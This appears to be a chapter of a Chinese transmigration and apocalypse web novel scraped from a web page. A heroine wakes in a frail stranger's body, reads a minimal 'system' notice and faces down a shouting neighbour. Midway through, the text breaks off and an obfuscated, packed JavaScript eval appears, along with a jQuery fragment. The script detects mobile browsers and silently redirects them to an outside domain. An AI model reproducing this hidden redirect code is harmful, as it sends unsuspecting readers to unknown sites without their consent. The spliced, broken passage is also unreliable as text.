“咚咚咚——咚咚咚——”

    菜刀声隔着墙一下一下砸进来,中间还夹杂着水管的嗡鸣和楼上拖凳子的刺响。

    沈采微被吵醒了。

    自从她搬离自家隔音超差的老小区,很久没这种动人心魄的体验了。

    眨了眨干涩的眼睛,她盯着蒙灰的吊灯和发黄的天花板。

    这是哪里?

    做梦?不像。

    还是她被绑架了?

    如果是老爸老妈干的,她更希望对方是人贩子。

    【本世界现已连接完成】

    【检测到世界级灾难信号】

    【灾难类型:生物污染】

    【当前阶段:早期】

    【当前未检测到出口】

    【出口出现后,将为您提供具体位置及开放时限】

    【建议储备基础生存物资】

    【酒??】

    没有任何声音,一块半透明屏幕突兀地浮现在沈采微眼前,边缘干干净净,连个像样的界面都没有。

    这屏幕上她唯一能戳得动的,就是右上角的X。

    她来来回回地看了好几遍,猜测现在是个什么情况。

    与其说这是个系统,倒更像是一封邮件。

    既然有出口,是不是说明她迟早要离开这个世界。

    【酒??】?

    酒还能理解,爱心什么鬼。

    “嗡嗡嗡——”

    挣扎着把自己撑起来,一把掀开枕头,果然发现了一个手机。

    握着手机的手背青筋清晰,指节突出,手腕细得陌生。

    沈采微盯着看了两秒。

    她的手什么时候瘦成鸡爪了?

    漆黑的屏幕隐约显现出一张脸,熟悉又陌生。

    她吓得按亮了手机,更惊悚了。

    这不是自己的手机。

    一把丢开手机,她光着脚冲出了房间。

    房间陌生的布局和装饰让人恍惚。

    沈采微茫然地四处打量,透过半掩着的门,看到了卫生间里的镜子。

    睡衣松松垮垮地挂在身上,凌乱的头发,浮肿的眼睛,淡淡的唇色。

    脸还是那张脸,但是她的脸盆子,从胖鹅蛋缩水成瘦鹅蛋。

    “妈呀……这可不得让李飞星欣赏下!”

    沈采微手不带停地,兴奋地把睡衣睡裤都给掀了。

    腰细细的,也松松的,竹竿大腿,一摸软得离谱。

    “……我肌肉呢??”

    她苦练多年引以为傲的肌肉呢!

    沈采微瞬间确定,这根本不是自己的身体,就这小胳膊小腿的,闹呢。

    她的指尖从下巴滑到突出的锁骨,平整,光滑,那道伴随她十年的手术疤痕消失了。

    她颇为绝望地回床头捞手机,指纹轻松解锁,熟练地拨通了一个号码。

    “您拨打的电话是空号,请查证后再拨。”

    她仰天长叹。

    李飞星啊,事情大发了。

    沈采微捏着手机把这间老破小逛了一圈,只有一间上锁的房间打不开。

    行李箱还摊在玄关,衣服压得乱七八糟,夹层里塞着身份证、登机牌和发票。

    这具身体也叫沈采微,这人疯狂旅游了一个月,昨晚刚回的家。

    她挠挠头,不确定这是一个真实的世界,还是只是一个游戏。

    如果是个游戏,这系统也太低端了。

    手机定位显示:宁川市,河湾小区。

    随着时间来到早晨八点,整个小区从各家居民的生活音中苏醒。

    作为一名资深网民,她猜测自己大概是被传送到末世了,还是魂穿。

    她在手机上搜了下这个世界的相关信息,感觉和自己原本生活的世界文明程度很相似。

    或许是还处在污染前期,网络上也没搜到什么反常的信息。

    沈采微一边看一边抚摸着肚子,可能是没吃早饭,有点不舒服。

    行吧,先垫两口。

    这样想着,她打开了冰箱,空荡荡,最后从冻层里翻出一些冰冻大馒头。

    “?”我请问呢。

    沈采微伤感地去厨房蒸馒头,别说,这厨房是老小区的阳台改造的,光线不错。

    迎着阳光的暖意,她伸了个懒腰,刚把手臂举过头顶,她就带上了痛苦面具。

    抽筋了。

    服了,这身体真是一点没练过,硬得像清朝僵尸。

    哼,不过她沈道长专治僵尸。

    沈采微当即深呼吸,打了套养生八段锦。

    随着她的动作,身体一点点热起来,呼吸也变得绵长。

    做到收尾的背后七颠,她踮脚,后又两脚跟下落轻震地面。

    她面容变得平和,眼神坚定地看着前方。

    从今早醒来感受到的迷茫和恐惧,在此刻都被她平静地注视着。

    心态恢复积极的沈采微甚至哼起了小曲。

    穿越末世其实也不错,不用上班,爽!

    【老板:小沈啊,你休假到期了,记得今天打卡别迟到】

    删除拉黑,拜拜了您嘞。

    不过这提醒了她另一件更现实的事。

    银行余额:3000元。

    行吧,和她穷得不相上下。

    太绝望了,她的胃在蠕动。

    看着馒头热得差不多了,她妄图找点咸菜,无。

    这家庭条件咋差成这样了。

    捧着两个馒头,她走进客厅,这里的家具上浮着一层薄灰,她没在意地一屁股坐进沙发里,被激得连打两个喷嚏。

    玻璃茶几上扔着两盒拆开的药,一盒药板已经抠空了大半。

    沈采微把馒头放下,拿起药品飞速查了起来。

    埃索美拉唑和瑞巴派特,都是胃药。

    沈采微皱起眉,大概是今天醒来神情最严肃的时候。

    这身体有胃病?多严重?

    目光落在热气腾腾的馒头上,怪不得冰箱里只有这玩意。

    埃索美拉唑说明书上要求餐前半小时吃,她实在饿不住就还是先啃起了馒头。

    光吃馒头噎得慌,她从桌下翻出一瓶没开封的矿泉水喝了两口,马上对这具身体的脆弱有了更直观的体验。

    仅是两口凉水下肚,肠胃就隐隐绞痛,馒头也只吃了半个,就有种顶着胃的感觉,明明她饿死了。

    先把瑞巴派特吃了吧。

    沈采微仰天长叹,不能好吃好喝,不得要了她的狗命。

    “咕噜噜……”

    她认命地爬到马桶上,刚拉开裤子又沉默了。

    行吧,还是先找片卫生巾吧。

    这时候手机里的河湾小区3栋居民群闪个不停。

    【1单元401陈立峰:语音15″】

    ……

    【1单元401陈立峰:@1单元501沈采微】

    【楼栋长:不要在群内骂脏话,请文明沟通】

    她点进居民群惊呆了,这人从深夜3点就一直在@沈采微发信息。

    她好奇地点开了最新一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968349|214600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    条语音。

    “吵死了吵死了!你踏马有没有素质!你一不在家就安安静静,你一回来就拖该死的家具,刚刚又踏马在拖!再吵我就要报警——”

    沈采微面无表情地关了语音。

    穿越了,她不仅不要上班,她也不要处理邻里关系。

    如果这中年男人非要赖她制造噪音,那她也只能说自己刚才拉屎崩到他家了。

    她打开手机上的记事本,想规划一下3000元怎么花。

    就在她人生最脆弱的时候,男人遵从了楼栋长的话,不在群里骂人了,从401闪现到了501门口。

    “砰砰砰砰砰砰——”

    门被拍得嗡嗡发颤。

    沈采微懒得理,男人也不想放弃。

    于是她就这么坐在马桶上玩了十分钟手机,放任要爆炸的男人拍门叫骂了十分钟。

    不行了,年纪真的大了,听不得这些破响动。

    她无语地揉了揉太阳穴,麻利擦穿洗,走出来四处打量起来,挑选了餐桌前心仪的折叠凳。

    她双手各握住一个凳子腿,慢悠悠走到玄关,侧身与门平行,保持半个人的距离。

    双脚与肩同宽,骶骨微微下移,膝盖放松,深吸一口气,吐气时腰背带着手臂一拧。

    这间房子的大门有两道,老式铁质防盗门加红色木门。

    陈立峰一直拍打的就是外面的防盗门,她都佩服对方。

    “你个没家教的小兔崽子——”

    “砰————”

    陈立峰没能说完的污言秽语,被一声沉闷巨响掩盖过去。

    沈采微长呼出气,完成一次击打,深吸一口气,继续敲。

    你骂十分钟我也敲个十分钟,很公平吧!

    就是这小身板,手掌震得发麻,沈采微敲了二十多下后颇有些遗憾地想。

    哎呀,她这人还是太善良太好说话了。

    门外安静了。

    不知门外,整栋楼都安静了。

    连早上的夺命菜刀声也消失了。

    沈采微惬意地把折叠凳打开。

    这折叠凳本就老旧,经历这场风霜,沈采微一屁股坐下来更是颤颤巍巍。

    “说吧,找我什么事?”

    这世界可是生物污染,鬼知道外面的神经病安不安全,沈采微门都懒得开,就这么大马金刀地往门后一坐,扬声高喊。

    “你给我开门!哪有你这种态度和长辈说话的!”

    陈立峰气得快炸了,怒骂已经变成歇斯底里的咆哮。

    沈采微遗憾地摇摇头,没一句她爱听的。

    “半夜回家也不知道轻一点,你拖行李的声音吵死了!我忍了,结果一大早你又开始拖家具,我全家都被你吵得睡不了一点!

    我要上班孩子要上学,警告过你多少次了,听不懂人话吗!”

    沈采微没这具身体的记忆,无法判断对方话的真假,但是今早对方艾特她的时候,她在马桶上。

    对方如此笃定,如此饱含深情的国粹,都让她怀疑自己拉屎真有那么大动静吗?

    她想了想,从板凳上起来,贴上木门,凑近猫眼。

    “见鬼了……”

    一个穿着黑色西装的中年男人,把头紧紧贴在防盗门的栅栏上。

    如果不是他头太大,又或者栅栏足够宽,沈采微怀疑对方会毫不犹豫地挤进来。

    从额头到下巴压出的两条刺眼的红痕,布满红血丝的眼睛,不停口吐芬芳的小嘴巴。

    该报警的是她吧。